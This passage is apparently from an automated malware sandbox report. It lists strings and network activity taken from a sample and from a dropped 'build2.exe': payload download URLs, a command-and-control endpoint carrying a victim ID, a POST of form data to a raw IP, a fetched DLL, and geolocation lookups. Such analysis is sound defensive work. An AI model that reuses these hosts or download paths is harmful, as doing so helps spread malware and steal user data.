https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: AaIo4VGgvO.exe, 00000004.00000003.1748302566.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: AaIo4VGgvO.exe, 00000004.00000003.1749633511.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: AaIo4VGgvO.exe, 00000004.00000003.1749797585.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECBUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: AaIo4VGgvO.exe, 00000004.00000002.2220967832.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe
Source: AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run
Source: AaIo4VGgvO.exe, 00000004.00000002.2219862422.000000000091B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runo
Source: AaIo4VGgvO.exe, 00000004.00000002.2220967832.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exeU
Source: AaIo4VGgvO.exe, 00000004.00000003.2214363216.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214363216.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189412330.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138459066.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220022963.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138459066.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2181443165.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220022963.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165814423.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2181443165.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165814423.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: AaIo4VGgvO.exe, 00000004.00000002.2219862422.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true=
Source: AaIo4VGgvO.exe, 00000004.00000003.2165814423.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2181443165.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214363216.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220022963.000000000092C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138459066.0000000000929000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true?
Source: AaIo4VGgvO.exe, 00000004.00000002.2219862422.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truea
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637Q
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637n
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php_
Source: AaIo4VGgvO.exe, 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: AaIo4VGgvO.exe, 00000001.00000003.1663945564.0000000000636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: AaIo4VGgvO.exe, 00000004.00000003.2214363216.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189412330.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138459066.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220022963.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2181443165.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165814423.0000000000971000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe
Source: AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe$run
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: AaIo4VGgvO.exe, 00000004.00000003.1748123173.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: AaIo4VGgvO.exe, 00000004.00000003.1748447667.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: AaIo4VGgvO.exe, 00000004.00000003.1749398658.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: AaIo4VGgvO.exe, 00000004.00000003.1749468503.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: AaIo4VGgvO.exe, 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: AaIo4VGgvO.exe, 00000004.00000003.1749545999.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1879416635.000000001C3CD000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: AaIo4VGgvO.exe, 00000004.00000003.1749633511.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: AaIo4VGgvO.exe, 00000004.00000003.1749714349.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: AaIo4VGgvO.exe, 00000004.00000003.1749797585.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.00000000005F1000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149
Source: build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/)U
Source: build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/1
Source: build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/217.9.149/sqln.dll
Source: build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/5U
Source: build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/9
Source: build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/=::=::
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/DUq
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/E
Source: build2.exe, 00000008.00000002.1875287836.000000000085B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/I
Source: build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/K
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/VL
Source: build2.exe, 00000008.00000002.1874465516.0000000000514000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll
Source: build2.exe, 00000008.00000002.1875287836.0000000000875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dllT#
Source: build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/vUc
Source: build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/xUU
Source: build2.exe, 00000008.00000002.1874465516.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.1490.5938.132
Source: build2.exe, 00000008.00000002.1874465516.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149JEGDA
Source: build2.exe, 00000008.00000002.1874465516.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149PUA4832FF8~YAAQLwwtFycGjvGKAQAAIGQc
Source: build2.exe, 00000008.00000002.1874465516.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149a
Source: AaIo4VGgvO.exe, 00000001.00000002.1668074663.0000000000608000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2219862422.000000000091B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000787000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/.
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/H
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/R
Source: AaIo4VGgvO.exe, 00000001.00000002.1668074663.0000000000608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/f1
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000C.00000002.1844090268.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.0000000000758000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007A5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: AaIo4VGgvO.exe, 00000018.00000002.2106582703.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json/
Source: AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json3
Source: AaIo4VGgvO.exe, 00000018.00000002.2106582703.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json7
Source: AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json7x
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json:WU6
Source: AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000095D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonI
Source: AaIo4VGgvO.exe, 00000006.00000003.1699758533.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonJ
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonP
Source: AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonR0
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonSO
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonZ
Source: AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonZ0
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsona
Source: AaIo4VGgvO.exe, 00000018.00000002.2106582703.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsondllx
Source: AaIo4VGgvO.exe, 00000001.00000002.1668074663.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonm
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsono
Source: AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsontem32
Source: AaIo4VGgvO.exe, 0000000C.00000002.1844090268.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonzP
Source: AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2219862422.000000000091B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/n
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=96N66CvLHly8&a
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
